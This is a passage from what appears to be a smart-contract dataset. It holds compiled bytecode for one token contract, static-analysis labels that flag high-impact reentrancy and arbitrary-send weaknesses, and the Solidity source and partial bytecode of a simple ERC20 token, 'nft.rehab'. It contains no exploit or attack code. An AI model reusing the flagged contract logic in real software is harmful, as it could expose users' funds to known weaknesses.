ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f10f8b429a2625c30b76d843bfe746c78a6c342367532ca70964c9df370ea7564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,956 |
0x6c93c838d362656430d81e150cdbe9b69ba8efc4 | /**
*Submitted for verification at Etherscan.io on 2021-02-01
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'nft.rehab' token contract
//
// Symbol : REHAB
// Name : nft.rehab
// Total supply: 5000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract REHAB is BurnableToken {
string public constant name = "nft.rehab";
string public constant symbol = "REHAB";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 5000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a10565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e67565b6040518082815260200191505060405180910390f35b6103b1610eb0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0d565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e1565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112dd565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611364565b005b6040518060400160405280600981526020017f6e66742e7265686162000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffff